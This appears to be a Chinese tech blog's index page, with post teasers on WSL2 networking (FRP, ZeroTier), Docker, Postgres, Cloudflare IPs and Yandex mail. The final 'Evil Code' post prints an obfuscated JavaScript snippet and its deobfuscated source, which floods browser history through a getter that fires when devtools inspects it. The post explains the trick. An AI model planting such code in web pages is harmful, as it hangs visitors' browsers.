WSL2增强,内网穿透方案:FRP与ZeroTier

1. FRP:直接对外暴露IP和端口

FRP的原理基本就是端口转发,将外部的流量经过中间服务器转发至本地机器

  • 优点

开启frp后,相当于有了公网IP,任意设备均可任意访问

  • 缺点

由于寻址多中转了两次中间服务器,就增加了丢包的可能性,并且也增大了单次访问的延迟

Read more

WSL2(Ubuntu)安装Docker

WSL2增加了对docker的支持以后大半年,我准备尝试在WSL2上安装docker,但是踩了无数的坑,这里记录一下,避免大家再有我这样的悲惨遭遇

Read more

WSL2(Ubuntu)安装Postgres

自从微软更新了WSL2以后,似乎Windows有望成为linux第一桌面版,这次来试一下在WSL里面装Postgres

Read more

CF全球节点

103.22.200.0/22#对电信最友好
162.159.36.6#对联通最友好
104.16.0.0/12#对移动最友好
我已解析好的cname地址:ip.s.s1-cdn.me

Read more

Yandex的域名邮箱

  1. 注册验证码变态

根据ZKK博客的教程详细记录走一遍会碰到第一个难点。好处是不用手机就能注册,问题在于验证码极其的变态。我大概输入了几十次。才成功注册下来了一个域名邮箱

Read more

Evil Code

1
2
3
<script>
eval(function(d,f,a,c,b,e){b=function(a){return a.toString(f)};if(!"".replace(/^/,String)){for(;a--;)e[b(a)]=c[a]||b(a);c=[function(a){return e[a]}];b=function(){return"\\w+"};a=1}for(;a--;)c[a]&&(d=d.replace(new RegExp("\\b"+b(a)+"\\b","g"),c[a]));return d}("1 2=c.3('8');4.b(2,'5',{6:7(){1 a=\"\";9(1 i=0;i<d;i++){a=a+i.e();f.g(0,0,a)}}});h.j(2);",20,20," var x createElement Object id get function div for defineProperty document 1000000 toString history pushState console log".split(" "),0,{}));
</script>

混淆过后的,会疯狂写入历史数据,混淆前

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
'use strict';
/** [url=home.php?mod=space&uid=26679]@Type[/url] {!Element} */
var x = document.createElement("div");
Object.defineProperty(x, "id", {
get : function() {
/** @type {string} */
var definitionLineHash = "";
/** @type {number} */
var default_favicon = 0;
for (; default_favicon < 1000000; default_favicon++) {
/** @type {string} */
definitionLineHash = definitionLineHash + default_favicon.toString();
history.pushState(0, 0, definitionLineHash);
}
}
});
console.log(x);
You need to set client_id and slot_id to show this AD unit. Please set it in _config.yml.